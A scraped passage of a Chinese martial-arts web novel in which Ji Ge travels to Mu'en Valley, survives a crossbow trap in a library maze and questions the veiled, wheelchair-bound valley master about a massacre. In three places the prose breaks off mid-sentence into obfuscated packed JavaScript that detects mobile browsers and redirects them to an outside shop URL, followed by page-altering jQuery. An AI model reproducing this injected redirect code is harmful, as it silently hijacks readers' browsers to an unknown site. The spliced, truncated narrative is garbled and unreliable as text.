灵甜脸上露出不悦来,道:“看别人走那么远了,还不说抓紧点,当谁都想等他啊。” 说完,迈开大步,去追前面的孟浪张衡去了,带着一身的不忿和怨气。 季歌叹了叹气。站在原地等了半天,这才见宋游懒懒散散地过来了。季歌摸了摸鼻子,道:“游弟啊,你看天就要黑了,我们得走快点了,这地儿离市镇还有些距离,不然得在野外过夜了。” 宋游面无表情道:“我并非不想走,是不想与你身边那三人一起。” 季歌道:“不要这样,有事可以说开,都是小误会。” 宋游道:“没有误会。只是单纯的看不惯他们三个。” 季歌再次扶额,心道:“都说有人的地方就有江湖,这还没出远门呢,就已经走入了江湖。” 略一沉吟,道:“好吧,不一起就不一起。反正甜儿有孟张两位兄弟照顾,就让他们三个一起,游弟身上任务艰巨,不得有失,便由我这个衡山少爷亲自保驾护航,这样可好?” 宋游看着他,冷如深渊的瞳眸中忽然流露出些许不善来。季歌心里一惊,道:“怎么了游弟?我可是……” “说错了什么话?” “季少侠一向这么功利的吗?”宋游道。 “什……什么?” 季歌不妨他有此一问,心里忽然慌慌的。 却见宋游目光冷冽地看着自己,淡声道:“季少侠利用起人来,还真是无所不用其极。看别人有用,就鞍前马后地伺候着,若是哪天别人没用了,是不是就弃如草芥,连看都不正眼看一下啊。” “……” 季歌语塞。 他原以为这套讨好的说辞能让眼前这个冰块脸的小兄弟多少展露几分笑颜,不想他嘴巴竟如此厉害,一下就能切中肯綮,把别人的心思直截了当地说出来。 不过……他未免把别人想得也太坏了点。 季歌道:“游弟啊,这……你可是多心了,我绝无此意。再说,我几乎没下过山,除了他们三个,在江湖上也不认识几个人了,能认识你是我的荣幸。如今你能帮上我的忙,又能帮我洗清身上的冤屈,我高兴还来不及,心里只想着怎么护着你,不让别人欺负了你,怎么可能心存利用?” 见他目光不善,顿了顿,又道:“你放心,等到此事了结,我定会完完整整地将你送回银丝山庄,往后行走江湖,路过湖州,一定约你出来唠嗑吃鱼,我请,就当是交了一个好朋友,如此岂不甚好?”心想:“这下他总该满意了吧,总该不会生气了吧。” 却料宋游面无表情地看着他,道:“我没有朋友。” 说完,径直向前走去。 季歌见他又生气了,心想:“怎么又不对了?这游弟的脾气也忒差了,比小姑娘都古怪,难道江湖人都这样吗?”他自以为方才那套说辞说得滴水不漏,应当不会再惹到他了,没想到刚说出口,又把对方惹到了。 正自绞尽脑汁,寻思自己到底哪里说错话了,忽听宋游在前面说道:“方才谁说的天色不早了,不走快点是想让恩人露宿街头吗?” 季歌一听,赶紧跟了上去。 灵甜追上孟浪张衡二人。孟浪见她跟了过来,回头看了一眼,见季歌和宋游并肩走在后面,有说有聊,又见灵甜一脸不快,顿时明白过来,道:“怎么啦,你的季哥哥不让你陪啦!” 灵甜白他一眼,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468434|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪来的野东西,也配和我的季哥哥说话,还寸步不离地跟在身边,野东西。” 孟浪瞧着她笑:“吃醋啦?” 灵甜道:“才没有。” 二人并肩走着,季歌悄悄将宋游瞅了两眼,见他眼望前方,一言不发,于是搭讪道:“游弟,方才我无意冒犯,若是言语里有不恰当的地方,让你不舒服了,你可别往心里去啊。” 宋游一言不发,对他看也不看。 季歌顿了顿,又道:“你在银丝山庄,说话也这么毒舌么。” 闻言,宋游看他一眼,道:“我是庄主,我说什么就是什么,谁敢违抗。” “……” 空气静默了片刻,宋游忽然转过头来,看着季歌道:“季少侠,方才你说你几乎从未下过山,这是为何?” 季歌道:“实不相瞒,在下从小身体不好,一直待在衡山养病,鲜少下山。这也是我第二次下山,游弟是我结交的第三个朋友。” “哦……” 宋游脸色微微一变。 过不多时,二人追上了灵甜三人,准确的说,是张衡他们在前面等到了他二人。眼看天色已晚,前方隐隐出现一座市镇,张衡道:“打尖吧。” 季歌沉声道:“不行,这里离衡山太近了,我是偷跑出来的,被我父亲发现,用不了多久就能追上来。” 顿了顿,“或者你们几个先去镇里住上一晚,我在下一个驿站等你们,明天见。” 话音刚落,宋游便道:“我和你一起。” 灵甜一听,急道:“我和季哥哥一起。” 孟浪不高兴道:“你们都走了,我和三弟住在客栈也没意思啊。再说,我们哥俩也不识路,明早起来还不知道能不能找见人。” 张衡略有些头疼,搔了搔头,道:“是这样,我和二哥也不住了,要走一起走。” 季歌心里颇有点过意不去,叹道:“二位哥哥跟着我受苦了。” 孟浪道:“受就受呗,反正我们哥俩一不识路,二又没钱,这一路只能靠你了。” 灵甜听他这么说,睁大眼道:“你们该不会真是空手来的吧。” 张衡不好意思道:“不是空手,也和空手差不多了。” 季歌扶了扶额,道:“那是这样,我去市镇买两辆马车,咱们坐马车走,到下一个市镇再打尖休息,如何?” 孟浪张衡道:“我同意。” 灵甜道:“我也同意。” 季歌看向宋游,宋游道:“我没意见。” 五人就这么定了。季歌进了市镇,从马商那里买了两辆马车,一辆给自己和灵甜乘坐,另一辆给宋游。他知孟浪不愿意给宋游赶车,便去央求张衡。张衡也没意见,答应得很是爽快。 季歌担心父亲追上来,也不敢多待,一上车便命孟浪一路疾驰,连口饭都没来得及停下车吃。 于是五人两辆车,在黢黑的夜里一路向东疾驰。走了大半夜却未见到下一个市镇出现,众人人困马乏,路经一座林子,停车休息。 孟浪本就觉多,赶了一夜的车早就困得流油,没过一会儿便打起了呼噜。好在现在还是夏夜,林子里歇息一宿也没什么。季歌在车里等灵甜睡着了,悄悄地将外衣脱下来,披在她的身上,掀起车帘来。 29. 邋遢少年(4) 张衡看他从车上下来,走过来,低声道:“甜儿姑娘睡了?” 季歌点头。 张衡道:“季兄弟怎么不睡会儿。” 季歌指了指宋游所在的那辆车,向他打了个手势。张衡会意,道:“你怀疑宋兄弟的身份?” 季歌道:“不是怀疑,是想确认一下。” 顿了顿,“上次下山前,我娘再三强调,出门在外要留个心眼儿,对身边出现的陌生人最好提高警惕,严加防备。” 说着从车上取笔墨纸砚下来,写了张字条,道:“我让季晨核实一下他的身份,看他是否真是银丝山庄宋怀义宋庄主之子。” 张衡看他心思缜密,叹道:“季兄弟哪像是刚下山的样子,分明是老江湖了。” 季歌莞尔一笑,走到没人地方,将字条绑在信鸽腿上,悄悄放飞了信鸽。信鸽掠过林稍,飞向夜空,一抹白很快消失不见。季歌回过身来,经过宋游马车,不经意间,余光瞥见马车的车窗洞黑一片,略一定睛,却见车窗的黄色车帘不知何时已被人掀起,宋游正斜倚着车窗,一只手搭在窗棂上,另一只手保持撩起车帘的姿势,看他。 季歌脚下一滞,道:“游……游弟,你……你没睡啊……” 只见宋游默不作声地看着他,深邃的瞳眸里,情绪深不底,目中露出小兽般天然的警觉。那是一种动物遭遇险情,应激而生的敏锐和提防。 季歌被他的眼神盯得心里发怯,搔了搔头,道:“游弟这么晚还不睡,是有什么心事么?”试图缓解尴尬。 宋游一言不发地看着他。半晌,道:“季少侠方才做什么去了?”整个小小的身子猫在车窗下,昏黑的夜色中看着,就像一只受惊的猫儿。 “我……” 季歌嘴上打了个绊子,“我……我去解了个手。” “哦……” 宋游看着他,目光微微一收,道:“我还道季少侠是调查我的底细去了。”眸中敌意不减。 季歌讪笑了笑,道:“游弟这不是说笑了?你是银丝山庄少庄主的身份还能有假?” “庄主。”宋游道。 “哦对庄主,一时口误,抱歉。” 宋游默不作声地盯了他半晌,道:“季少侠,你多大了?” 季歌不防他有此一问,怔了一怔,道:“二十三。” 抬眼看他,“你呢?” 宋游道:“虽说你比我大了些,但你我素不相识,还请季少侠以后莫要动辄兄弟兄弟的叫,有些人虽小你几岁,却不见得愿意被一个素昧平生的无名之辈称作弟弟的。” “……” 季歌扶了扶额,道:“游弟,没必要这么认真吧。你看啊,人活着最重要的就是开心,开心就好了,管这些有的没的做什么。” 语气一顿,“再说,你我认识这么久了,也算是朋友了,计较这些做什么。” “我没有朋友。”宋游道。 “当然,也没有认识很久。” 季歌:“……” 宋游见他语塞,道:“不过我能这么说,便代表我不计较此事,季少爷也不必生气,我并未有意冒犯于你。” 季歌心头一松,宋游又道:不过,我不计较,不代表别人也不计较。季少爷往后行走江湖,还是管好自己一张嘴为好,莫要一见到陌生人便呼朋唤友,称兄道弟的。你要知道为人处世最忌交浅言深,自己的事泄露得多了,难免日后遭人背刺暗算,指不定哪天被人骗了,还帮着数钱呢。” 季歌听他语气严肃,心想这都能扯上背刺暗算,游弟未免也太过心重了,一点点小事就整得煞有介事,有那么严重吗。不过也知他是一片好心,便也不以为忤,微微一笑,道:“知道啦,多谢忠告。” 宋游道:“忠告倒谈不上,不过是善意的提醒。” “……” 季歌点了下头,眼看天色更黑,向他摆摆手道:“睡觉去了,你也早点休息。” 不等宋游答话,径直向自己马车走去。 张衡坐在车上,看他一脸黑气地过来,心中一乐,道:“怎么?又交锋了?” 季歌回头望了眼身后,道:“带刺。”衣摆一掀,上了马车。张衡目光幽幽地瞟向宋游的方向,见他仍保持着斜倚车窗的姿势望向这里,目光冷漠而疏离。 是夜,众人在林子里将就了一晚。季歌担心自己逃下山被父亲发现,率众追来,次日天一亮,便催促众人驾车向湘西赶去。 沐恩谷距离衡山地界不远,七日便到。这一路有灵甜带路,走得还算顺畅。及至落霞山下,众人勒停马车,从车上下来。 宋游望着高耸入云的孤峰,道:“我就不进去了,祝各位好运,待会儿见。” 季歌见他要走,忙道:“游……宋兄弟,我听说这沐恩谷每半年才开一次谷,现在距离上次开谷不过短短三月,现在去,那老谷主会见我们吗?” 宋游道:“不试试怎么知道?”说完,转身进了山下的一间茅草屋,休息去了。 季歌四人面面相觑,却拿他没有办法。沿着原路来到溜索下,见那溜索上空空如也,等了半晌,正不知如何与谷中联系,就听两根细长坚韧的钢索上传来摩擦钝器的剧烈声响,抬眼一看,却是鬼谷子驾着竹笼下来了。 季歌皱了皱眉,上前一步,作揖道:“鬼伯伯好。” 鬼谷子捋须笑道:“好久不见啊季少爷!” 孟浪瞅了眼他的竹笼,道:“你怎么知道我们要来?” 鬼谷子微笑道:“自然是奉谷主之命。” 季歌皱眉道:“谷主怎么知道我们今日要来?” 鬼谷子捋须笑道:“天机不可泄露。” 拍了拍竹笼的边框,道:“既然来了,各位便上来吧。” 四人于是坐了竹笼上山。虽然满腹不解,但见鬼谷子不说,一切也无从得知。 灵甜是第一次来,心里害怕,全程将季歌一条手臂抱得死死,身体像坨棉花儿似的瘫在他怀里。这一幕可给鬼谷子瞧乐了,打趣道:“季少侠真是艳福不浅,每次出行都有美人相伴,着实让人羡慕。” 季歌悄悄竖指于唇,示意他小声。回头看了眼枕在自己肩头的灵甜,见她正闭着眼小憩,唇色微微发白,脸色忽明忽暗,时而轻松,时而紧绷。 鬼谷子道:“见过晕车晕船的,第一次见晕笼子的。” 季歌道:“姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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季歌心道:“原来他便是赠我膏药之人。”与孟浪三人对视一眼,跟了上去。 四人跟随野郎中来到醉仙亭坐下,已有仆人奉上茶来。季歌端起茶盅,正准备喝,孟浪突然道:“别喝,小心有毒!” 茶盅贴着唇边堪堪停住。季歌看了他一眼,将一盏茶快速饮下,放下茶盅,道:“无事,谷主若真想害我们,根本不用这么麻烦。” 野郎中道:“季少侠心怀坦荡,当是个至诚之人。”语声冰冷。 季歌忙道:“没有,晚辈只是觉着谷主应该不会害我们。” 野郎中冰冷的神色稍稍缓和,一声清咳,道:“谷主请季少侠至藏书阁一叙,请随我来。” 孟浪忙道:“我也去。” 野郎中肃声道:“我们谷主只邀请了季少侠一人,旁人勿扰。”对孟浪看也不看。 孟浪欲待辩驳,季歌忙道:“孟兄,张兄,甜儿,你们在这儿稍事休息,我去去就来。” 见灵甜面露忧色,又道:“放心,谷主不会把我怎么样,我很快就回来。”说着握了握她的手,只觉触感一片冰凉。 30. 谷主真容 季歌跟随野郎中来到藏书阁前。 只见眼前的藏书阁有三层之高,跟上次一样,屋檐上遍布强弓硬弩,弩箭的箭头齐齐对着外面,一副蓄势待发。 野郎中向藏书阁敞开的大门伸了伸手,道:“季少侠请。” 季歌看了他一眼,将信将疑地走了进去。刚一进去,便听“砰”的一声,大门在身后阖上了。季歌回过身来,试图去开门,却发现怎么也打不开了。野郎中也没有进来。 他心中陡然生出一股不好的预感,晃着门道:“野伯伯,这是什么意思?” 野郎中站在外面道:“季少侠,这对你来说是一个小小的考验,且看你能不能通过这一关。” 季歌道:“然后呢?通过这一关又能怎样?” 野郎中道:“你且往前走,谷主就在里面。” 说完,退开两步,转身走了。 听着外面脚步声渐渐走远,季歌心底顿生不安。回过身来,只见藏书阁里光线晦暗,老旧书籍味道极重。担心前方有变,他下意识地抽出乌兰,做好战斗准备。伫立原地良久,待到适应眼前黑暗,他睁大了眼,看到阁楼里空无一人,只有一座座高大的书架鳞次栉比,默然矗立。 他手握乌兰,循着书架之间形成的路,缓缓向前,依次看遍。只见上面堆满了竹简、卷轴和装订书,数目繁多,收拾得十分雅净。 “看来这位谷主也是个洁净之人。” 他随手翻阅了几本,发现书籍种类繁多,涉及天文、地理、医药、哲学、易经、机关、命理、星象、算学、历史、农业,还有诡术、毒药制作等偏门书籍。不过堆放最多的还是武功招式,内功心法之类。 季歌心道:“这位谷主涉猎如此广泛,想来应是个博学之人。” 只见这些书有的用汉字写就,有的用外文,不知是蒙古语还是藏语,总之歪歪扭扭,像虫子又像蝌蚪,有时候看着不像写上去的,倒像是画上去的,还标记了各种符号。他简单翻了几页,发现看不懂,便放下了,心想:“这谷主看得书古怪,想来脾气也很古怪。” 循着书架向前,只见前方阡陌纵横,偌大的阁楼被一座座书架切割成了百十条路。且书架堆得极高,绕过一座,便像是转向了另一条路。与其说是身处藏书阁内,不如说被困在了一个密闭的迷宫里。迷宫虽大,却足以令人窒息。季歌走了好久,都没有找到出去的路,心里不由焦急。 正当此时,昏暗的光线中突然传来一阵“嗖嗖嗖”利器破空的声音。季歌心中警觉,立时乌兰剑起,提剑与利器相击。只听“叮叮叮”一连串声音,只是眨眼片刻,利器便被乌兰尽数挡了回去,掉得七零八落,到处都是。 季歌站定身子,轻抚乌兰剑刃,心道:“好一把乌兰!” 方才他持剑与利器相击时,只觉手中的乌兰坚硬如钢,竟连一丝轻微的震颤都未产生,便将利器击了出去,可见威力极大。 镇定片刻,利器破空声音再次传来,新的一轮攻击开始了。季歌见势不妙,当即展开衡山三十六路回风落雁剑法,只听“叮叮叮叮”数声,利器被乌兰尽数拦截,掉落墙边。 经此两轮攻击,季歌回思阁楼里利器发射的规律,心下琢磨:“第一轮攻击是十支,方才又是十支,想来这阁楼上的弩机构造极为精巧复杂,否则怎会同时射出十支箭来。” 正思索间,又一连串利器发射的声音响起,新一轮攻击又开始了。季歌一套回风落雁剑法使完,索性施展起了九洲剑法。 此时他已经完全摸清了弩机的发射规律。心里清楚,这些弩箭虽多且快,却来路清晰,并非变幻无穷,他正愁新学的三十二招剑式无处消遣,见此机会,当下将这阁楼当作练武之地。 只见弩箭频繁射出,一套九洲剑法也使得愈发高超绝妙,遇强则强,遇变则变。阁楼昏暗的光线下,乌兰使将出来,如笔走龙蛇,行云流水,白刃的光影在昏暗的光线下幻化出无数白练,残影重重。就连他自己都被剑刃的光影晃得睁不开眼。 季歌便用这套九州剑法,连续击溃了弩机的九轮冲击。待到第十轮弩箭射出,他的九洲剑法正好运至第三十二层,也就是新学的那招天女散花。他脚下借力,腾空跃起,乌兰疾挥,只听“叮叮叮叮”,白刃与弩箭相击,他身形疾转,正欲将那些弩箭四散空中,突然脑中闪过一道念头:“这么做定会毁坏谷主的书籍,万不可取……” 想到这里,他心念电转,当即变幻了剑式,一柄刚猛的乌兰立时化作一条柔软的长蛇,将弩箭尽数兜于剑圈当中。只听一声高喝:“去!”,弩箭齐刷刷射向墙壁,季歌的身体也自空中缓缓飘落在地。 他站定身子,正待喘息,突然感到有什么不对劲,方才似乎只听到了九支弩箭的声音,那么第十支去哪儿了? 正百思不解,突然感到右胸一阵刺痛,他缓缓低下头来,看到第十支弩箭不知在何时已神不知鬼不觉地刺穿了他的右胸,鲜血缓缓淌出。 正当此时,阁楼的一处角落突然传来“砰”的一声,瞬间,明亮的光线投射进来,像是给这座幽暗封闭的阁楼开了一道口子。在这瞬间,季歌仿佛看到了生的希望,当即顾不上那么多,咬咬牙拔出弩箭,捂着右胸,朝着有光亮的地方奔去。 循着光亮,他看到角落里果然开了一扇门。季歌此时也顾不上外面是什么了,毫不犹豫地跨出门槛,后脚刚出来,便听大门在身后“砰”的一声关上了。 原来这座阁楼的门也都设了机关。 季歌惊魂未定。抬眼看向前方,只见眼前白茫茫一片,云雾缭绕,水汽极重,有如仙境,也不知究竟到了哪里。感觉到右胸的伤口隐隐作痛,他从怀里取出药瓶,撒了点药粉在上面,血很快止住了。 “幸好没毒。” 他心有余悸。 拨开云雾向前,只见眼前隐隐出现了一大片溪流。水中芙蓉亭亭玉立,大片大片的莲叶相接,形成一片绿色的海洋,轻轻摇荡,簇簇拥拥。 每一片莲叶又如一团碧色的玉盘,盛放了硕大的露珠,在上面滚来滚去,晶莹剔透,在日光下泛着七彩。清风吹送而来,碧绿的根茎轻轻摇晃,载着粉红娇艳的莲瓣微微摇颤,姿态万千,仿若水中仙子。 季歌碾着小碎步,缓缓向前。伴随着清风,闻到莲叶清香阵阵,徐徐飘送而至,隐隐约约,似有若无。他歪过头,看到莲叶下,一队白鸭正嘎嘎游过,如同一团团白棉花,漂浮在水面上,身周漾起一圈一圈的波纹。 流水潺潺,莲叶蓬蓬,原来这阁楼的身后,还藏有这样的洞天福地,与前院郁郁葱葱、直通云天的清幽竹林相比,又是别样景象。 他循着水流的方向,迂回向前,远远见到一座长廊高高架于水面之上。长廊上挂了一块匾额,上书“听雨轩”三个字。 正自发呆,忽然听到听雨轩的西侧传来“啪塔啪塔”几声叫唤,放眼一望,却是五只白鹤正在轩前的浅水处玩耍嬉戏。白鹤养得白白胖胖,丹顶松姿,羽翼粹白,粉色修长的细足在水里一顿一顿,踩来踩去。 踩至中途,突然其中两只白鹤向前狂奔了起来,像在追逐打闹着什么,边跑边伸出细细长长的脖子,在水里探着什么。 季歌心中奇怪,跟着它们走了几步,见它们最后从水里叼出几根虫子来。吃完虫子,两只白鹤突然转身,又向另一个方向奔去。这时其他三只也过来了,五只白鹤一起围在一根柱子前,啪嗒啪嗒地直叫唤。 柱子挡住了视线,季歌看不到那边是什么。伫立原地良久,忽然见到一只白皙玉手从柱子后面探了出来,虚握成拳。五只白鹤见到,脖子纷纷伸了老长,一副嗷嗷待哺姿态,叫唤得更高了,似乎都想尽可能地够到那只手。 那只白皙玉手在虚空停了片刻,突然手掌张开,几十颗螺贝纷乱掉入水中。季歌这才明白,原来是有人在喂养这些白鹤。 白鹤们纷纷将尖长的细嘴探进水里,争先恐后地觅食吃。待到螺贝吃完,复又高举头颅,伸长了脖子,等待下一轮投喂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468436|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,那只玉手再次伸出,轻轻抛下了几棵苦草到水中,手臂绵软无力。清风吹送而过,季歌微微侧目,看到一角雪青色的衣裙自梁柱后面露了出来,伴随着微风,轻轻舞动。 他微步上前,正要打声招呼,已见那女子站起身来,扶向了另一侧栏杆。季歌这才看到她的身形。 只见她腰肢柔软,纤细修长,雪青色的纱衣松松垮垮地罩在身上,显得身形轻薄孱弱。纱裙的裙尾拖曳在地,伴随着走路的动作,有如弱柳扶风,颇有病态之姿。周身一股清冷疏离,与眼前的生活意趣格不相入。 季歌本想上去打声招呼,然而见到眼前一幕,心中突然生出一股拘谨来,似乎自己贸然上前会搅扰了这一片宁静。正不知如何是好,已见那女子转过身来,看着他道:“抱歉,让公子受伤了。” 声音淡漠。 季歌微微一怔。见她和自己说话,忙快步上前,隔着溪水,向她作了一揖,道:“谷主好!” 直起身来,“搅扰了谷主雅兴,失敬。” 女子只是眼神淡漠地瞟了他一眼,便转过脸去,继续喂鱼。 只见她从布袋里抓出一把鱼食,撒进水里。立时,几十条锦鲤聚集而来,五颜六色,纷纷大张着圆嘴,争先恐后地吞吃鱼食。转眼便将一把鱼食吞食殆尽。 少顷,她又抓了一把,撒进水里,一边喂鱼,一边道:“不算打扰,每隔一段时间,都会有些讨厌聒噪的人来谷中生事。” “习惯了。” “……” 季歌无言以对。 只见她姿态清雅,冷若冰霜。脸上覆着一层薄薄的素纱,看不清真容。一双丹凤眼眼尾细长,眉若远山,眉宇间隐隐透出一股愁绪来。在白皙肤色的映衬下,俨然一个病美人。 病美人,也是冰美人。 手碰一下,都会生冻疮那种。 季歌心中畏惧,不敢打扰,只安静地看着她喂鱼。 女子喂了半会子鱼,忽然抬起头来,看着他道:“不知公子突然造访,所为何事?”嗓音清冷纤细,冷淡而疏离,听着竟不似凡音,倒像是天上的仙子,无端坠落人间。季歌不由得痴了。 过了好久,见她冰冷淡漠的目光始终落在自己脸上,这才反应过来,结巴道:“谷……谷主,在下有一事相请,不知谷主是否愿意代为解决?” 女子默默看了他两眼,低下头继续喂鱼。 季歌不知她此举何意,微步上前,道:“一个月前,黔南江家江平川江老爷子家满门被灭,此事谷主可还知晓?” 边说边小心观察着她的反应,内心十分惶恐。 只见那女子头也不抬,抓起一把鱼食,丢入水中,淡声道:“听沐恩谷的探子说过一二。” 季歌一听,心道:“果然如此。这沐恩谷在江湖上果真有探子,看来这谷主也并非如人们口中所说,是个避世隐居,不问世事的清闲散人。实则对外界的动向十分清楚,说不定比跑江湖的门路都广。” 正待继续发问,这时,那五只白鹤过来了。方才它们吃完螺贝苦草,见女子一直不喂食,便到别处玩去了。此时嗅到这边有鱼食,纷纷抢过来与锦鲤争食吃。 女子见它们过来,抓起一把鱼食,松松一撒,鱼食落入水中。白鹤们见状,纷纷展翅,争先恐后地过来争夺鱼食,表现得极度兴奋。女子则懒懒地倚着栏杆,面无表情地看着它们吃食,一身清态。 季歌见有外人在,她却表现得十分冷淡,只顾自己不紧不慢地喂鱼,并不招呼,也不热情,心中隐隐生出怒意来,却不便发作。转念又想,自己此番来是有事相求,江家之事必得问出个缘由才行。见她一心忙自己的,有心讨巧,便道:“谷主雅兴,这里依山傍水,与自然为邻,又有白鹤芙蓉相伴,真教人羡慕啊。” 女子不答,默不作声地喂了半会子鱼,直起身道:“没什么好羡慕的,只是讨厌外面的人罢了。” 声音淡漠。 季歌这下彻底闭嘴了。 31. 谷主真容(2) 女子将布袋中的鱼食尽数倒入水中,道:“我知你此番来还有何意。” “你不过是对汤应寿的身份存疑,想要对沐恩谷谷主的身份一探究竟罢了。” 说着抬眼看他,“如今人你已经见到了。若无旁的事,公子还请回吧。” 转身就走。 季歌急道:“等等,在下还有一事相求。” 女子充耳不闻,径直向走廊那头走去。 季歌见她不理,心中生怒,大声道:“身为一谷之主,如此心狠手辣,冷酷无情,非但杀死江家满门,还意欲嫁祸无辜之人,居心何在!” 女子闻言一滞,脚步停了下来。 却不转身。 季歌见自己一番话触动了她,接着道:“上次汤管家安排在下与霹雳帮两位弟兄去黔南江家江平川老爷子家取楼兰明珠一用。到了地方,才发现江家三十多口人都被人灭了口。在下思来想去,觉着罪魁祸首要么是江平川的仇家,要么就与沐恩谷有关。” 女子背对着他,不为所动。 季歌目光在她身后转了两转,道:“听说那江平川为人儒雅谦和,乃一代宿儒文士,也不会武功,从不过问江湖中事,在武林中鲜少树敌。一番分析下来,在下以为仇家的可能性很小,故此来沐恩谷一问,想知道谷主是否知晓内情。” “你的意思,是我做的?” 女子闻言转身。 季歌忙道:“不敢,在下只想问问谷主是否知道个中情由。” “我不知。”女子淡声。 季歌正色道:“若真不知,何以当时汤管家要孟张二人取江平川的人头来?听着岂不荒唐?” 女子无声地看着他,目光冰冷淡漠,不携丝毫情绪。半晌,道:“你说江平川为人儒雅谦和,不会武功,也不喜过问江湖中事,鲜少树敌。难道外表看上去低调谦虚就不会主动招惹别人了?难道外界都说他是一个好人,他就不会去主动害人了?也许他使的正是不易被人察觉的软刀子呢?也许别人对他下手,正是因为默默隐忍了数年,忍无可忍,才贸然出手呢?” 季歌微微一怔,目中露出疑忌来,只觉她这番话说得实在奇怪。 女子不为所动,接着道:“若真如你所言,低调谦逊便不会树敌,那人人是不是都可以效仿了,这江湖也再没有矛盾纷争,可以永享太平了。只是……” “可能吗?” 她语声清冷,“有时候你什么也没有做,什么也没有说,光是站在那里,光是活着,光是有一口气在,便足以招人嫉恨了。” 她说这些话时,语声平静,不带丝毫情绪,不像是生气,话却说得冰冷淡漠。 季歌道:“那谷主对江家灭门缘由是分毫不知了?”说着目中露出疑忌来。 女子沉声道:“此事我方才已经解释过了,以后也不会再对此做出任何回应。季少侠若无别的事,还请速速离开。”转身就走。 “谷主留步!” 季歌歉声道:“方才是在下言语冒失,冒犯了谷主,还请谷主不要往心里去。不过在下这么说,也是因为受此牵连,一时心急才会口不择言。” 说着,他微步向前,道:“谷主应当不知,江家灭门案的现场出现了敝派封禁数十年之久的禁器,且江家所有门人都为那禁器所杀。但是我相信,问心剑派上下人等无一人会做此事,这点我也向父亲母亲求证过,想来是有人故意借我之手嫁祸衡山。” 说到这里,他语气一顿,“姑且不论江家灭门一案是否为仇家所为,在下如今遭人构陷,身陷囹圄,含冤莫白,还望谷主有好生之德,为在下指点迷津。” 女子转眸看他,语气冰冷道:“你被人构陷为何来找我帮忙?你觉得我会帮你?” 季歌正色道:“就算沐恩谷真的没有插手此事,但我去江家却因沐恩谷而起。有道是我不杀伯仁,伯仁因我而死,还望谷主看在沐恩谷牵涉在内的情况下,帮我一把。” 女子默不作声地看着他,唇角忽而现出一抹冰冷的嘲弄来:“你去江家与我何干?当时的任务是派给霹雳帮孟张二人的,江家不是你自己要去的?” 季歌微微语塞。心想:“她的话确实在理,当时确实是自己要求同去,只因想弄清楚沐恩谷的底细和猫腻,却没想就此摊上了一桩命案。” 想到这里,心中郁闷至极,面有愧色道:“当时在下一时兴起,心里存了打抱不平之念,又恐孟张兄弟搞不定此事,心中侠义心起,才想着与他二人同去,帮他二人一把,却没想运气如此之背,无端背上一桩命案,实在可气。”说着向那女子委屈道:“还望谷主帮帮我。” “哼。”女子一声冷笑,道:“你倒是爱多管闲事,没想到被闲事缠上身了。” 季歌道:“惭愧惭愧。” 语气认真:“在下虽不知沐恩谷的开谷缘由,只是上次密会,已能看出谷主本事极高,有手眼通天,耳听八方之能,想来定有办法可以帮到在下。” “我为何要帮你?” 女子面纱微微耸动。 季歌欠了欠身,道:“此乃在下一个不情之请,不敢奢求太多。只是……” 抬起眼来,“在下瞧着谷主身体似乎有恙,腿脚不便出谷。日后谷主如有任何要求,尽管告诉我,只要不违背侠义之道,在下都愿代劳,赴汤蹈火,在所不辞。” 闻言,女子眸光微微一动,似乎被季歌这一番至诚之言触动几分,心中微微起了些许波澜。 不等她答话,长廊尽头传来一阵车轱辘声。季歌回眸,看到一名约莫十五六岁的侍女推着一个木质轮椅向这边走了过来。 侍女将轮椅推至女子身旁,把搭在手臂上的素白毛裘取下,披在她的肩上,轻声道:“谷主,该休息了。” 女子点了点头,披好毛裘,一掀衣裙,坐了上去。看向季歌道:“你很有眼色,我确实腿脚不好。” 季歌忙道:“恕在下冒昧。”向她作了作揖。 侍女推着轮椅转了个身,道:“我们回去吧。”向来路走去。 季歌见她要走,急道:“谷主,方才在下所求之事,不知您是否应允?” 闻言,女子手指轻敲了敲轮椅把手,示意侍女停下。侍女停下了轮椅,女子道:“望海潮。顺着这条线索往下查,喻理和望海潮脱不了干系。” 季歌皱了皱眉,道:“望海潮?望海潮是什么?” 女子眉间现出一缕疑惑来,道:“季少侠不知望海潮为何物?” 季歌摇了摇头,道:“从未听说过。”顿了顿,道:“谷主为何如此发问,难道这望海潮曾经名扬天下,江湖人都知,不知者反而不合常理?” 女子看着他,没有答话。眉尖微微蹙起,眸中点点水光流动,复杂变幻。半晌,才道:“望海潮是一个消失了十多年的江湖组织。江湖人虽对它记载很少,但仔细寻找,总能找到一些蛛丝马迹。” 季歌道:“原来如此。”心想:“消失了十多年的江湖组织,十年前我才多大,难怪会不知道。”顿了顿,道:“那这望海潮具体是做什么的,是一个什么样的组织,我该顺着哪个方向去找,又或者说,找到这个组织后,又该如何去找喻理?” 女子淡声道:“天机不可泄露,眼下问这么多也没有用。找到望海潮,自然便能顺藤摸瓜找到喻理。至于那望海潮怎么找,还须得你自己想办法。”说着拳头在轮椅把手上轻轻一敲,示意侍女推动轮椅。 